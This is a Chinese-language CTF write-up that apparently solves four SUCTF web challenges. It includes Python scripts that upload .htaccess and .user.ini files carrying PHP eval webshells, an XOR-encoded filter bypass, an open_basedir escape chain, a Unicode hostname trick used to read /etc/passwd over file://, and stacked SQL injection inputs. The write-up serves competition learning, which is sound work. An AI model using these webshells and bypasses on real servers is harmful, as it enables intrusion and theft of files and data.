0x01 CheckIn
这题在国赛的华东北区半决赛出现过,当时的服务器环境是apache + php,所以解法是上传.htaccess和里面用base64协议来解析上传的马。
#.htacess \x00\x00\x8a\x39\x8a\x39 #用来绕过文件头检测 AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/[md5(ip)]/shell.jpg"
绕过文件头检测还可以用
#define width 1337 #define height 1337
#shell.jpg \x00\x00\x8a\x39\x8a\x39 简单的一句话木马base64编码就好了
.user.ini
\x00\x00\x8a\x39\x8a\x39 auto_prepend_file = cc.jpg
cc.jpg绕过<?的过滤
\x00\x00\x8a\x39\x8a\x39 <script language='php'>eval($_REQUEST[c]);</script> #php5环境下可用
上传后index.php会默认包含了一句话木马,所以直接执行命令就好了
贴一下上传的脚本
import requests import base64 url = "http://47.111.59.243:9021/" userini = b"""\x00\x00\x8a\x39\x8a\x39 auto_prepend_file = cc.jpg """ #shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>") shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>" files = [('fileUpload',('.user.ini',userini,'image/jpeg'))] data = {"upload":"Submit"} proxies = {"http":"http://127.0.0.1:8080"} print("upload .user.ini") r = requests.post(url=url, data=data, files=files)#proxies=proxies) print(r.text) print("upload cc.jpg") files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))] r = requests.post(url=url, data=data, files=files) print(r.text)
0x02 EasyPHP
题目源码
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
这题由两部分组成,第一部分为
<?php $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh);
第一部分参考:https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md
显然现在的正则严格了特别多,而且还做了字符长度的限制,不过利用方式应该是一样的,就是通过异或的方法来构造出我们需要的php代码,因为字符长度的限制,所以我们可以构造出一个$_GET[x]出来,绕后利用php语法解析${$_GET[x]},通过参数x来触发get_the_flag函数。
首先fuzz出我们当前可见的字符有
# ; ! $ % ( ) * + - / : < > ? @ \ ] ^ { }
fuzz脚本
<?php for ($ascii = 0; $ascii < 256; $ascii++) { if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) { echo bin2hex(chr($ascii)); echo "\n"; } } ?>
所以就是用这些字符来异或,异或出$_GET即可,这里就不贴FUZZ异或的脚本了
%fe%fe%fe%fe^%a1%b9%bb%aa -> $_GET
接下来就是拼接参数什么的,同时要考虑过
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
所以最后拼接出来的就是
${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
接下来要做的就是第二部分了,第二部分在XMAN的个人赛中出现过,其实也和第一题是一样的,只是这次刚好就是apache+php环境了,所以直接用第一题中提到的脚本打个shell就好了,贴个脚本
import requests import base64 url = "http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag" htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .cc php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_95edeac63aff85469e0ebd216f87ce5a/shell.cc" """ shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>") #shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>" files = [('file',('.htaccess',htaccess,'image/jpeg'))] data = {"upload":"Submit"} proxies = {"http":"http://127.0.0.1:8080"} r = requests.post(url=url, data=data, files=files)#proxies=proxies) print(r.text) files = [('file',('shell.cc',shell,'image/jpeg'))] r = requests.post(url=url, data=data, files=files) print(r.text)
不过这题做了个open_basedir,刚好DE1CTF的时候用了一次,参考:https://xz.aliyun.com/t/4720,payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/')); #绕后用file_get_contents读就好了
0x03 Pythonginx
题目源码(读来的):
from flask import Flask, Blueprint, request, Response, escape ,render_template from urllib.parse import urlsplit, urlunsplit, unquote from urllib import parse import urllib.request app = Flask(__name__) # Index @app.route('/', methods=['GET']) def app_index(): return render_template('index.html') @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333" if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
看这个源码很简单,就是要你构造出第三次判断的时候是suctf.cc但是在前两个判断的时候又不能是suctf.cc,所以就是其中的字符在第三次判断前处理后要变成suctf.cc了。
参考::https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf(阔以发现,这题的源码和里面的例子很像哦)
Unicode/Letterlike Symbols字符阔以从这取:https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols
利用ℂ来替换.cc中的从c,在最后出来后会恢复成c,也就成功绕过了if判断,阔以修改个源码用来测试
import urllib from urllib import parse from urllib.parse import urlsplit, urlunsplit #url = [] url = "file://suctf.cℂ/../../../etc/passwd" host = parse.urlparse(url).hostname if host == 'suctf.cc': print('first') exit(1) print('1 '+host) parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': print('sec') exit(2) print('2 '+host) newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': print('3 '+host) print(finalUrl) #print(urllib.request.urlopen(finalUrl).read()) else: print('???') exit(3)
所以拿去题目打一波就阔以任意文件读取了,如下
接下来就是读各种文件(这里就不写辛酸过程,以及我们是如何丢了一血的了),必须喷一下/etc/hosts
127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.19.0.2 2b44a80d20fc 这特么内网地址 127.0.0.1 suctf.cc
读nginx配置 /etc/nginx/conf.d/nginx.conf(也没啥)
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } }为什么丢一血就是在这,没去想读其他位置的配置文件~~~
后来读/usr/local/nginx/conf/nginx.conf 就这个鬼东西
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; #flag就在这,竟然不在内网里!!! # } }
所以读flag就好了
(注:从今天开始收集字典,以后读东西都用字典来读)
0x04 easy_sql
这题比较意外,题目和强网杯一样是一个堆叠注入,不过做了更多限制。
1;show databases; #查库 1;show tables; #查表
当前库只有一个Flag表,而且语句长度限制了40位,所以想要像强网一样的改表面和预编译的操作都不可以了,并且过滤了from等等(fuzz下就好了,这次放出了select),本以为语句是类似select xxx from xxx where id = ()这样的,结果后来听说泄露的是这样的
select $_GET['query'] || flag from flag
我拿flag的时候就是输了个
*,1 这东西我都觉得神了,这都出了